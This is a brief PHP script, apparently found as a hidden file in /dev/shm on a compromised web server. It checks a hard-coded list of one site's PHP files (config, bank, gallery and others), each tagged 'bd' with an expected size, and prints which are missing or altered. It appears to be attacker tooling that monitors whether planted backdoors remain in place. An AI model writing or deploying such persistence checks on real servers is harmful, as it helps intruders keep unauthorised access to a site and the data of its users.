File: //dev/shm/.ent
<?php $r = '/home/sdmepqvf/sdm-egypt.com'; $x = ["/config1.php"=>"bd@@259920@@995",
"/bank.php"=>"bd@@260739@@926",
"/functions.php"=>"bd@@262100@@59",
"/gallery.lang_it.php"=>"bd@@261846@@51",
"/functions_post.php"=>"bd@@261026@@1054",
"/addcssassoc.php"=>"bd@@262103@@87",
"/gallery.php"=>"bd@@262104@@43",
"/functions_post.php"=>"bd@@262093@@66",
"/style.php"=>"bd@@262096@@21",
"/gallery.php"=>"bd@@261847@@885",
"/a_top_lingue.php"=>"bd@@262106@@1006"]; foreach ($x as $p => $l) { $f = "{$r}{$p}"; list($t, $id, $pt) = explode('@@', $l); if (!file_exists($f)) { print "<$t>{$id}##d</$t>\n"; continue; } if (is_numeric($pt)) { $fs = filesize($f); if ($fs != $pt) { print "<$t>{$id}##bs</$t>\n"; } } else { $c = file_get_contents($f); if (!strstr($c, $pt)) { print "<$t>{$id}##d</$t>\n"; } } } die('!end!');